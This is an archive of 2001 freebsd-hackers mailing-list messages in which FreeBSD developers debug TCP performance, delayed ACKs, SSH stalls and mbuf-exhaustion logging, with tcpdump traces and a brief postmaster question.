protocol="application/pgp-signature"; boundary="+HP7ph2BbKc20aGI" Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from julian@elischer.org on Fri, Nov 30, 2001 at 03:56:47PM -0800 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --+HP7ph2BbKc20aGI Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Fri, Nov 30, 2001 at 03:56:47PM -0800, Julian Elischer wrote: >=20 > I've tried getting information about our (FreeBSD) mail > system by mailing to "postmaster" but no-one answers.. >=20 > so, who IS the postmaster at the moment? Still jmb. Kris --+HP7ph2BbKc20aGI Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (FreeBSD) Comment: For info see http://www.gnupg.org iD8DBQE8CB6nWry0BWjoQKURAnl7AKDQS1n/6ucIoebkxBBvrOOxTjtoSwCgudW+ 2af2YWDohfv5n0AKaYUVFDU= =j0xv -----END PGP SIGNATURE----- --+HP7ph2BbKc20aGI-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Nov 30 16:23: 4 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id 352C237B419 for ; Fri, 30 Nov 2001 16:23:00 -0800 (PST) Received: (from dillon@localhost) by apollo.backplane.com (8.11.6/8.9.1) id fB10MvZ27957; Fri, 30 Nov 2001 16:22:57 -0800 (PST) (envelope-from dillon) Date: Fri, 30 Nov 2001 16:22:57 -0800 (PST) From: Matthew Dillon Message-Id: <200112010022.fB10MvZ27957@apollo.backplane.com> To: Richard Sharpe Cc: Alfred Perlstein , rsharpe@ns.aus.com, Alexander Haderer , freebsd-hackers@FreeBSD.ORG Subject: Re: FreeBSD performing worse than Linux? References: <20011128153817.T61580@monorchid.lemis.com> <15364.38174.938500.946169@caddis.yogotech.com> <20011128104629.A43642@walton.maths.tcd.ie> <5.1.0.14.1.20011130181236.00a80160@postamt1.charite.de> <200111302047.fAUKlT811090@apollo.backplane.com> <3C07FCFF.4070008@ns.aus.com> <20011130150843.L46769@elvis.mu.org> <3C081867.9090900@ns.aus.com> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG :Hi, : :I think that there are two different problems here. My situation :involves a LAN (actually, a crossover cable). : :I have captured a trace of a 1 client run between the Linux driver and :the FreeBSD test system as well as between the Linux driver and the same :test system running Linux. : :I am noticing some interesting things. Linux uses the timestamp option :in all the TCP segments I have looked at, so it is sending 12 more bytes :per segment that FreeBSD. : :However, more interesting is that for small messages (less that 1460), :FreeBSD does not seem to delay sending ACKs, so we get the following :pattern: : :FREEBSD : :Driver -> Test system: 94 byte IP DG with simulated command :Test System -> Driver: Ack after 83uS :Test System -> Driver: Psh Ack after 29uS with 79 total bytes in IP DG : :LINUX : :Driver -> Test system: 106 byte IP DG with simulated command :Test System -> Driver: Psh Ack after 89uS with 91 total bytes in IP DG : :So, as you can see, Linux seems to shave some time off each transaction :by avoiding sending extra ACKs. : :Also, what I am seeing is that neither FreeBSD nor Linux is doing ACK coalescing (if that is possible). : : :While I understand that coalescing ACKs will mess up RTT calculations and SRTT a bit, it would serve to reduce the time taken until responses come back. Hmm. If I ssh between two machines and use tcpdump to monitor the packets I see proper delayed-ack operation: (^A - a keystroke that is not echo'd, a delayed-ack occurs) 16:15:36.673259 216.240.41.12.1025 > 216.240.41.11.22: P 200:220(20) ack 181 win 17520 (DF) [tos 0x10] 16:15:36.766660 216.240.41.11.22 > 216.240.41.12.1025: . ack 220 win 17520 (DF) [tos 0x10] ('a' - a keystroke that is echo'd, delayed-ack, ack is returned in echod data) 16:15:49.143239 216.240.41.12.1025 > 216.240.41.11.22: P 240:260(20) ack 181 win 17520 (DF) [tos 0x10] 16:15:49.156878 216.240.41.11.22 > 216.240.41.12.1025: P 181:201(20) ack 260 win 17520 (DF) [tos 0x10] 16:15:49.251975 216.240.41.12.1025 > 216.240.41.11.22: . ack 201 win 17520 (DF) [tos 0x10] The timestamp could be creating an issue in your tests, though I'm not entirely sure what the rules are for replies to timestamped packets. Are you sure delayed acks are turned on on the FreeBSD box? An actual tcpdump might be helpful here. -Matt To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Nov 30 16:27:21 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from tao.org.uk (genius.tao.org.uk [212.135.162.51]) by hub.freebsd.org (Postfix) with ESMTP id 5007237B416 for ; Fri, 30 Nov 2001 16:27:16 -0800 (PST) Received: by tao.org.uk (Postfix, from userid 100) id 338BB9; Sat, 1 Dec 2001 00:27:07 +0000 (GMT) Date: Sat, 1 Dec 2001 00:27:06 +0000 From: Josef Karthauser To: Matthew Dillon Cc: Alexander Haderer , freebsd-hackers@FreeBSD.ORG Subject: Re: FreeBSD performing worse than Linux? Message-ID: <20011201002706.A455@tao.org.uk> Mail-Followup-To: Josef Karthauser , Matthew Dillon , Alexander Haderer , freebsd-hackers@FreeBSD.ORG References: <20011128153817.T61580@monorchid.lemis.com> <15364.38174.938500.946169@caddis.yogotech.com> <20011128104629.A43642@walton.maths.tcd.ie> <5.1.0.14.1.20011130181236.00a80160@postamt1.charite.de> <200111302047.fAUKlT811090@apollo.backplane.com> <20011130231802.E99520@tao.org.uk> <200111302345.fAUNjLI27798@apollo.backplane.com> <20011130234913.F99520@tao.org.uk> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="OXfL5xGRrasGEqWY" Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20011130234913.F99520@tao.org.uk>; from joe@tao.org.uk on Fri, Nov 30, 2001 at 11:49:13PM +0000 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --OXfL5xGRrasGEqWY Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Fri, Nov 30, 2001 at 11:49:13PM +0000, Josef Karthauser wrote: > On Fri, Nov 30, 2001 at 03:45:21PM -0800, Matthew Dillon wrote: > > :... > > :> I am tracking it down now. > > : > > :Is this the same problem that I experience on ssh connections between > > :my 5.0-current laptop and my releng_4 server? When I run an 'ls' > > :from the shell on large directories I get the response back block > > :delay block delay block. I assumed that it was a problem with > > :-current. > > : > > :Joe > >=20 > > It sounds like the same problem. In fact, I seem to recall observi= ng > > something very similar from my laptop while ssh'd into one of my > > servers, but at the time I though it was a hicup in the wireless ne= twork. > > Now though I think it was this same issue. >=20 > I'm just about to reboot the server now with your recently committed > changes - I'll let you know if it fixed anything. No, the problem remains after rebuilding the kernel on both boxes. Joe --OXfL5xGRrasGEqWY Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (FreeBSD) Comment: For info see http://www.gnupg.org iEYEARECAAYFAjwII9oACgkQXVIcjOaxUBY0RQCdEkwNurEg2qJIivSolToxMTj4 0gIAoI+DNe07Hu0d15j7FujfcRZNxbb3 =x/DO -----END PGP SIGNATURE----- --OXfL5xGRrasGEqWY-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Nov 30 16:29:14 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id B923A37B416 for ; Fri, 30 Nov 2001 16:29:12 -0800 (PST) Received: (from dillon@localhost) by apollo.backplane.com (8.11.6/8.9.1) id fB10TAr28060; Fri, 30 Nov 2001 16:29:10 -0800 (PST) (envelope-from dillon) Date: Fri, 30 Nov 2001 16:29:10 -0800 (PST) From: Matthew Dillon Message-Id: <200112010029.fB10TAr28060@apollo.backplane.com> To: Josef Karthauser Cc: Alexander Haderer , freebsd-hackers@FreeBSD.ORG Subject: Re: FreeBSD performing worse than Linux? References: <20011128153817.T61580@monorchid.lemis.com> <15364.38174.938500.946169@caddis.yogotech.com> <20011128104629.A43642@walton.maths.tcd.ie> <5.1.0.14.1.20011130181236.00a80160@postamt1.charite.de> <200111302047.fAUKlT811090@apollo.backplane.com> <20011130231802.E99520@tao.org.uk> <200111302345.fAUNjLI27798@apollo.backplane.com> <20011130234913.F99520@tao.org.uk> <20011201002706.A455@tao.org.uk> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG : :No, the problem remains after rebuilding the kernel on both boxes. : :Joe Try to track down the sequence with a tcpdump. -Matt Matthew Dillon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Nov 30 16:35:31 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from exuma.irbs.com (exuma.irbs.com [216.86.160.252]) by hub.freebsd.org (Postfix) with ESMTP id B457A37B416 for ; Fri, 30 Nov 2001 16:35:28 -0800 (PST) Received: by exuma.irbs.com (Postfix, from userid 2500) id DA8FD17406; Fri, 30 Nov 2001 19:35:22 -0500 (EST) Date: Fri, 30 Nov 2001 19:35:22 -0500 From: John Capo To: Matthew Dillon Cc: Nate Williams , Alexander Haderer , freebsd-hackers@FreeBSD.ORG Subject: Re: Found the problem, w/patch (was Re: FreeBSD performing worse than Linux?) Message-ID: <20011130193522.A36097@exuma.irbs.com> Reply-To: jc@irbs.com References: <20011128153817.T61580@monorchid.lemis.com> <15364.38174.938500.946169@caddis.yogotech.com> <20011128104629.A43642@walton.maths.tcd.ie> <5.1.0.14.1.20011130181236.00a80160@postamt1.charite.de> <200111302047.fAUKlT811090@apollo.backplane.com> <200111302130.fAULUU324648@apollo.backplane.com> <15367.64883.390696.863120@caddis.yogotech.com> <200111302200.fAUM0hD27448@apollo.backplane.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: <200111302200.fAUM0hD27448@apollo.backplane.com>; from dillon@apollo.backplane.com on Fri, Nov 30, 2001 at 02:00:43PM -0800 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Quoting Matthew Dillon (dillon@apollo.backplane.com): > > The question here is... is it actually packet loss that is creating > this issue for you and John, or is it something else? The only way > to tell for sure is to run tcpdump on BOTH the client and server > and then observe whether packet loss is occuring by comparing the dumps. > Packet loss is the problem for sure. I am dumping on the server and client side. http://www.irbs.net/server-dump.html http://www.irbs.net/client-dump.html In 60Ms the server pushed out about 200 segments. My test writes 1 byte at a time on an existing ssh conection so the payload per segment is small, 48 bytes. (48 + IP + TCP) * 200 is around 17KB in 60Ms which probably overflowed the frame switch queue. The client is on a fractional T1, the server is on a 10Mb -> OC3 connection 1200 network miles away. Jonathan Lemon pointed out in the TCP Anomalies thread that slow start seems to be broken. John Capo To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Nov 30 16:41:37 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from ussenterprise.ufp.org (ussenterprise.ufp.org [208.185.30.210]) by hub.freebsd.org (Postfix) with ESMTP id B0AD737B405 for ; Fri, 30 Nov 2001 16:41:34 -0800 (PST) Received: (from bicknell@localhost) by ussenterprise.ufp.org (8.11.1/8.11.1) id fB10fQ701222; Fri, 30 Nov 2001 19:41:26 -0500 (EST) (envelope-from bicknell) Date: Fri, 30 Nov 2001 19:41:26 -0500 From: Leo Bicknell To: Matthew Dillon Cc: Mike Silbersack , freebsd-hackers@FreeBSD.ORG Subject: Re: TCP Performance Graphs Message-ID: <20011130194126.A969@ussenterprise.ufp.org> Mail-Followup-To: Matthew Dillon , Mike Silbersack , freebsd-hackers@FreeBSD.ORG References: <200111302059.fAUKxrI19553@apollo.backplane.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <200111302059.fAUKxrI19553@apollo.backplane.com>; from dillon@apollo.backplane.com on Fri, Nov 30, 2001 at 12:59:53PM -0800 Organization: United Federation of Planets Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Fri, Nov 30, 2001 at 12:59:53PM -0800, Matthew Dillon wrote: > The transmit side requires more thought. I did write that patch, and > it does work, but it's too messy for my tastes. I would personally > much rather rewrite it to (A) fix the RTT stored in the route tables > and (B) adjust the transmit window based on that, which is a much less > sophisticated patch (and less messy), but ought to work quite well > in regards to transmit buffer management. I think I tried this patch, and found some problems with it. As I recall the problems were with extremely high bandwidth connections (eg, I have two machines that can move 100Mbps FDX across country (70ms latency), and when I tried the patch with that case performance was "bad", in the sense that I got like 20Mbps, rather than 100, like it should have allowed. I believe I theorized at the time that the calculation code had a term that ended up zero, or infinity or something with values that large. Sadly, at this moment I don't have test boxes on that path, but I do now have test boxes behind an otherwise empty T1 that I can do interesting things with (eg, WRED on or off, short queues, long queues, artificial limits like CAR). I have a little time to do testing (emphasis on little), if one or two people would like to do more I can make the resources available, contact me privately. -- Leo Bicknell - bicknell@ufp.org - CCIE 3440 PGP keys at http://www.ufp.org/~bicknell/ Read TMBG List - tmbg-list-request@tmbg.org, www.tmbg.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Nov 30 16:47: 9 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from peter3.wemm.org (c1315225-a.plstn1.sfba.home.com [24.14.150.180]) by hub.freebsd.org (Postfix) with ESMTP id C50AA37B420 for ; Fri, 30 Nov 2001 16:47:04 -0800 (PST) Received: from overcee.netplex.com.au (overcee.wemm.org [10.0.0.3]) by peter3.wemm.org (8.11.0/8.11.0) with ESMTP id fB10l2M91071 for ; Fri, 30 Nov 2001 16:47:02 -0800 (PST) (envelope-from peter@wemm.org) Received: from wemm.org (localhost [127.0.0.1]) by overcee.netplex.com.au (Postfix) with ESMTP id 95832380D; Fri, 30 Nov 2001 16:47:02 -0800 (PST) (envelope-from peter@wemm.org) X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 To: Julian Elischer Cc: hackers@FreeBSD.ORG Subject: Re: who is "postmaster"? In-Reply-To: Date: Fri, 30 Nov 2001 16:47:02 -0800 From: Peter Wemm Message-Id: <20011201004702.95832380D@overcee.netplex.com.au> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Julian Elischer wrote: > > I've tried getting information about our (FreeBSD) mail > system by mailing to "postmaster" but no-one answers.. > > so, who IS the postmaster at the moment? > > I have the .elischer.org domain set up at Netowrk solutions > with a contact address of "julian@freebsd.org" > however whenever I try change anything in the setup it > sends an "Austhorize this" email to the registered > email address (julian@freebsd.org). However they > never turn up in my mailbox so I can't do anything > (like change the contact email address :-) to maintian > my domain. Is freebsd.org throwing away mail from > network solutions? (are they blackhole'd?) Would you believe me if I told you that Network Solutions dont know how to configure the DNS on their systems? peter@hub[4:39pm]/etc/postfix-58# host opsmail.prod.netsol.com Host not found. Anyway, I have added a "special" override to allow network solutions' misconfigured systems to send mail. Cheers, -Peter -- Peter Wemm - peter@FreeBSD.org; peter@yahoo-inc.com; peter@netplex.com.au "All of this is for nothing if we don't go to the stars" - JMS/B5 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Nov 30 17:34:52 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from iguana.aciri.org (iguana.aciri.org [192.150.187.36]) by hub.freebsd.org (Postfix) with ESMTP id 2413837B416 for ; Fri, 30 Nov 2001 17:34:51 -0800 (PST) Received: (from rizzo@localhost) by iguana.aciri.org (8.11.3/8.11.1) id fB11UX934916; Fri, 30 Nov 2001 17:30:33 -0800 (PST) (envelope-from rizzo) Date: Fri, 30 Nov 2001 17:30:33 -0800 From: Luigi Rizzo To: Mike Silbersack Cc: Leo Bicknell , Alfred Perlstein , freebsd-hackers@FreeBSD.ORG Subject: Re: TCP Performance Graphs Message-ID: <20011130173033.G33041@iguana.aciri.org> References: <20011130171418.B96592@ussenterprise.ufp.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.23i Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Fri, Nov 30, 2001 at 05:19:18PM -0500, Mike Silbersack wrote: > > On Fri, 30 Nov 2001, Leo Bicknell wrote: > > > * The logging at 90% usage should be investigated. I can probably ... > Luigi, Jonathan and I had already been discussing this idea before this > this thread even started. If you come up with a good patch to do this, I just committed to current (and soon to stable) some code to log _failures_ in mbuf allocations, but that is only meant as an aid to remove worse code in the drivers. I'd be inclined to say that the XX% monitoring is better done by userlevel daemons periodically polling the mbuf stats, rather than doing some extra work every time you allocate or free an mbuf. (Plus, just setting a threshold is not good, you also want some histeresys, because you can easily conceive a system that runs at XX % mbuf occupation, whatever XX you pick.) cheers luigi To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Nov 30 17:39:11 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from ussenterprise.ufp.org (ussenterprise.ufp.org [208.185.30.210]) by hub.freebsd.org (Postfix) with ESMTP id 266DD37B416 for ; Fri, 30 Nov 2001 17:39:08 -0800 (PST) Received: (from bicknell@localhost) by ussenterprise.ufp.org (8.11.1/8.11.1) id fB11d5l03053; Fri, 30 Nov 2001 20:39:05 -0500 (EST) (envelope-from bicknell) Date: Fri, 30 Nov 2001 20:39:05 -0500 From: Leo Bicknell To: Luigi Rizzo Cc: Mike Silbersack , Alfred Perlstein , freebsd-hackers@FreeBSD.ORG Subject: Re: TCP Performance Graphs Message-ID: <20011130203905.A2944@ussenterprise.ufp.org> Mail-Followup-To: Luigi Rizzo , Mike Silbersack , Alfred Perlstein , freebsd-hackers@FreeBSD.ORG References: <20011130171418.B96592@ussenterprise.ufp.org> <20011130173033.G33041@iguana.aciri.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20011130173033.G33041@iguana.aciri.org>; from rizzo@aciri.org on Fri, Nov 30, 2001 at 05:30:33PM -0800 Organization: United Federation of Planets Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Fri, Nov 30, 2001 at 05:30:33PM -0800, Luigi Rizzo wrote: > I just committed to current (and soon to stable) some code to log > _failures_ in mbuf allocations, but that is only meant as an aid > to remove worse code in the drivers. Note that if we implement a 'fair share' buffering scheme we would never get a failure, which would be a good thing. Unfortuantely fair share is relatively complicated. > (Plus, just setting a threshold is not good, you also want > some histeresys, because you can easily conceive a system that > runs at XX % mbuf occupation, whatever XX you pick.) With fair share or some other type of setup I would agree. Given our current 'things fail badly if you run out' I think a warning at 90% or 200 left, or something would be a real good idea. With the current allocation scheme this is on par with "/foo file system is full" messages, we should have a "networking stack is full, build a kernel with more mbuf's message". -- Leo Bicknell - bicknell@ufp.org - CCIE 3440 PGP keys at http://www.ufp.org/~bicknell/ Read TMBG List - tmbg-list-request@tmbg.org, www.tmbg.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Nov 30 17:40:45 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from elvis.mu.org (elvis.mu.org [216.33.66.196]) by hub.freebsd.org (Postfix) with ESMTP id B814F37B419 for ; Fri, 30 Nov 2001 17:40:42 -0800 (PST) Received: by elvis.mu.org (Postfix, from userid 1192) id 3393A81D04; Fri, 30 Nov 2001 19:40:37 -0600 (CST) Date: Fri, 30 Nov 2001 19:40:37 -0600 From: Alfred Perlstein To: Matthew Dillon Cc: Josef Karthauser , Alexander Haderer , freebsd-hackers@FreeBSD.ORG Subject: Re: FreeBSD performing worse than Linux? Message-ID: <20011130194037.T46769@elvis.mu.org> References: <20011128153817.T61580@monorchid.lemis.com> <15364.38174.938500.946169@caddis.yogotech.com> <20011128104629.A43642@walton.maths.tcd.ie> <5.1.0.14.1.20011130181236.00a80160@postamt1.charite.de> <200111302047.fAUKlT811090@apollo.backplane.com> <20011130231802.E99520@tao.org.uk> <200111302345.fAUNjLI27798@apollo.backplane.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <200111302345.fAUNjLI27798@apollo.backplane.com>; from dillon@apollo.backplane.com on Fri, Nov 30, 2001 at 03:45:21PM -0800 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG * Matthew Dillon [011130 17:45] wrote: > :... > :> I am tracking it down now. > : > :Is this the same problem that I experience on ssh connections between > :my 5.0-current laptop and my releng_4 server? When I run an 'ls' > :from the shell on large directories I get the response back block > :delay block delay block. I assumed that it was a problem with > :-current. > : > :Joe > > It sounds like the same problem. In fact, I seem to recall observing > something very similar from my laptop while ssh'd into one of my > servers, but at the time I though it was a hicup in the wireless network. > Now though I think it was this same issue. This may be a server problem, I'm ssh'd into a FreeBSD box from a NetBSD one and don't see the issue, going FreeBSD <-> FreeBSD at home seems to cause stalls, I'll try my netbsd laptop at home and see if i can reproduce the problem. I thought it was my crappy DSL causing the issue, perhaps not. -- -Alfred Perlstein [alfred@freebsd.org] 'Instead of asking why a piece of software is using "1970s technology," start asking why software is ignoring 30 years of accumulated wisdom.' http://www.morons.org/rants/gpl-harmful.php3 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Nov 30 17:52:36 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from iguana.aciri.org (iguana.aciri.org [192.150.187.36]) by hub.freebsd.org (Postfix) with ESMTP id 7003C37B405 for ; Fri, 30 Nov 2001 17:52:33 -0800 (PST) Received: (from rizzo@localhost) by iguana.aciri.org (8.11.3/8.11.1) id fB11mG635052; Fri, 30 Nov 2001 17:48:16 -0800 (PST) (envelope-from rizzo) Date: Fri, 30 Nov 2001 17:48:16 -0800 From: Luigi Rizzo To: Leo Bicknell Cc: Mike Silbersack , Alfred Perlstein , freebsd-hackers@FreeBSD.ORG Subject: Re: TCP Performance Graphs Message-ID: <20011130174816.H33041@iguana.aciri.org> References: <20011130171418.B96592@ussenterprise.ufp.org> <20011130173033.G33041@iguana.aciri.org> <20011130203905.A2944@ussenterprise.ufp.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20011130203905.A2944@ussenterprise.ufp.org> User-Agent: Mutt/1.3.23i Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Fri, Nov 30, 2001 at 08:39:05PM -0500, Leo Bicknell wrote: > On Fri, Nov 30, 2001 at 05:30:33PM -0800, Luigi Rizzo wrote: > > I just committed to current (and soon to stable) some code to log > > _failures_ in mbuf allocations, but that is only meant as an aid > > to remove worse code in the drivers. > > Note that if we implement a 'fair share' buffering scheme we would > never get a failure, which would be a good thing. Unfortuantely > fair share is relatively complicated. i don't get this. There is no relation among the max number of mbufs and their potential consumers, such as network interfaces, sockets, dummynet pipes, and others. And so it is unavoidable that even giving 1 mbuf each, you'll eventually fail an allocation. > > (Plus, just setting a threshold is not good, you also want > > some histeresys, because you can easily conceive a system that > > runs at XX % mbuf occupation, whatever XX you pick.) > With fair share or some other type of setup I would agree. Given > our current 'things fail badly if you run out' I think a warning I should have said "any XX != 100". But note that what you say about bad failures is not really true. Many pieces of the kernel now are pretty robust in the face of failures -- certainly dummynet pipes, and the "sis" and "dc" drivers are, or i could not have tested the "run out of mbuf" message code which i just committed. I just think that the latter should not became a further source of trouble by filling up /var/log. cheers luigi To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Nov 30 18:26:48 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from h187n2fls4o804.telia.com (h187n2fls4o804.telia.com [213.65.247.187]) by hub.freebsd.org (Postfix) with SMTP id 010F937B405 for ; Fri, 30 Nov 2001 18:26:45 -0800 (PST) Received: (qmail 18920 invoked by uid 1003); 1 Dec 2001 02:26:22 -0000 Date: Sat, 1 Dec 2001 03:26:22 +0100 From: Tomas Svensson To: Josef Karthauser Cc: freebsd-hackers@FreeBSD.ORG Subject: SSH stalls (was: FreeBSD performing worse than Linux?) Message-ID: <20011201032622.A18737@simba.systemteknik.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG JK> Is this the same problem that I experience on ssh connections between JK> my 5.0-current laptop and my releng_4 server? When I run an 'ls' JK> from the shell on large directories I get the response back block JK> delay block delay block. I assumed that it was a problem with JK> -current. I am quite sure that this is a problem introduced in OpenSSH v2.5 or earlier. When I upgraded a FreeBSD 4.2 box from OpenSSH v2.2.0 to a newer version (I don't remember exactly which one now) I noticed this stalling which had never appeared before. If I used SSH Inc ssh-2.4 there was no stalling. It's not FreeBSD-specific either: I am trying this now on a NetBSD 1.5.1 that has OpenSSH v2.5.2 and if I do ten ls -l as fast as I can, I get 14 retransmitted packets and stalling. If I try the same with SSH Inc ssh-3.0.0 I get no retransmitted packets. Strangely enough I get no stalling on either sshd if I cat a 3 megabyte text... -Tomas To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Nov 30 18:32:41 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from ussenterprise.ufp.org (ussenterprise.ufp.org [208.185.30.210]) by hub.freebsd.org (Postfix) with ESMTP id A9D2337B405 for ; Fri, 30 Nov 2001 18:32:36 -0800 (PST) Received: (from bicknell@localhost) by ussenterprise.ufp.org (8.11.1/8.11.1) id fB12WY604716; Fri, 30 Nov 2001 21:32:34 -0500 (EST) (envelope-from bicknell) Date: Fri, 30 Nov 2001 21:32:34 -0500 From: Leo Bicknell To: Luigi Rizzo Cc: Mike Silbersack , Alfred Perlstein , freebsd-hackers@FreeBSD.ORG Subject: Re: TCP Performance Graphs Message-ID: <20011130213234.A4327@ussenterprise.ufp.org> Mail-Followup-To: Luigi Rizzo , Mike Silbersack , Alfred Perlstein , freebsd-hackers@FreeBSD.ORG References: <20011130171418.B96592@ussenterprise.ufp.org> <20011130173033.G33041@iguana.aciri.org> <20011130203905.A2944@ussenterprise.ufp.org> <20011130174816.H33041@iguana.aciri.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20011130174816.H33041@iguana.aciri.org>; from rizzo@aciri.org on Fri, Nov 30, 2001 at 05:48:16PM -0800 Organization: United Federation of Planets Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Fri, Nov 30, 2001 at 05:48:16PM -0800, Luigi Rizzo wrote: > On Fri, Nov 30, 2001 at 08:39:05PM -0500, Leo Bicknell wrote: > > Note that if we implement a 'fair share' buffering scheme we would > > never get a failure, which would be a good thing. Unfortuantely > > fair share is relatively complicated. > > i don't get this. There is no relation among the max number > of mbufs and their potential consumers, such as network interfaces, > sockets, dummynet pipes, and others. And so it is unavoidable > that even giving 1 mbuf each, you'll eventually fail an allocation. Well, this is true. If the number of sockets exceeds the number of MBUF's you will run out, no matter how well you allocate them. A corner case that should be handled delicately, no doubt, but one much less likely to happen. If each client was limited to one, or even two MBUF's total throughput would be so slow that the admin of the box would notice. That, added to that fact that there are thousands of MBUF's by default makes it nearly impossible that the "ignorant sysadmin" (aka desktop it should just work user) would run into this case. So, I will rephrase. I think a fair-share scheme would solve this for at least 5 9's of the problem. > But note that what you say about bad failures is not really true. > Many pieces of the kernel now are pretty robust in the face of > failures -- certainly dummynet pipes, and the "sis" and "dc" drivers I'm my 'bad failures' is not so much that the box would crash or otherwise completely break itself. Rather my experience with exhausing MBUF's is 